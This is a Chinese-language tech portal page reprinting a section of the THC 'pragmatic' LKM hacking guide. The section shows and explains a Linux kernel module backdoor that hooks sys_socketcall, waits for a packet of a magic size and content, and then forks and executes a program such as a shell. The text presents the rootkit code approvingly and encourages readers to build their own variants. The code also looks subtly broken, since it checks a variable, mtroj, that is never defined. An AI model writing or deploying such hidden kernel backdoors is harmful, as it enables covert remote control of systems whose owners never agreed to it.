china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


第二部分 渐入佳境


2.6 和网络(Socket)有关的入侵


网络是hacker的舞台.让我们看看一些对我们有帮助的东西

2.6.1 如果控制Socket操作


通过控制Socket操作,你可以做很多事情.plaguez给了我们一个很漂亮的后门.他不过是拦截了sys_socketcall系统调用,等待一个特定内容和长度的包.让我们看看他的替换后的系统调用(我将只给出这个调用,因为其他的和这一章里面的其他LKMs是一样的):

int hacked_socketcall(int call, unsigned long *args)

{

int ret, ret2, compt;

/*我们的特定的大小*/

int MAGICSIZE=42;

/*我们的特定的内容*/

char *t = "packet_contents";

unsigned long *sargs = args;

unsigned long a0, a1, mmm;

void *buf;

/*进行系统调用*/

ret = (*o_socketcall) (call, args);

/*是收到我们需要大小的包么?*/

if (ret == MAGICSIZE && call == SYS_RECVFROM)

{

/*对参数进行分析*/

a0 = get_user(sargs);

a1 = get_user(sargs + 1);

buf = kmalloc(ret, GFP_KERNEL);

memcpy_fromfs(buf, (void *) a1, ret);

for (compt = 0; compt < ret; compt++)

  if (((char *) (buf))[compt] == 0)

   ((char *) (buf))[compt] = 1;

  

  /*是否有我们的特定的内容*/

  if (strstr(buf, mtroj))

  {

   kfree(buf);

   ret2 = fork();

  if (ret2 == 0)

  {

  

   /*如果是,执行我们的程序(shell或者任何我们想要得...)*/

   mmm = current->mm->brk;

   ret2 = brk((void *) (mmm + 256));

   memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

   /*plaguez的execve实现->见2.4.2*/

   ret2 = my_execve((char *) mmm + 2, NULL, NULL);

  }

}

}

return ret;

}

OK,像往常一样,我对代码加了一些注释.这些代码看上去有点难看.但是很好用.这个代码拦截了每一个sys_socketcall(这是和所有socket操作有关的系统调用,见1.2).在替换以后的代码中,我们先调用了正常的系统调用.在此之后返回了值和调用参数被检查.如果这是一个接收操作并且包的大小(...和tcp/ip包毫无关系...)是我们所需要的,我们就会检查接收包的内容.如果可以找到我们想要的内容,这个代码就会确定我们(hacker)想启动一个后门程序.这个由my_execve(...)完成.

在我看来,这个实现十分的好.他也可以用来等待一个特定的连接或者关闭操作,只要你有创造力.

要记住上面提到的方法需要一个在某个端口的服务.因为接收操作只会在一个守护进程从某个已经建立的连接中接收数据时才会发生.这是一个不好的地方,因为某些多疑的管理员会注意到这些.在你的系统中测试这些后门程序并看看会发生什么事情.发现你的最喜欢的利用sys_socketcall的方法,并且在你控制的系统中使用他.

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网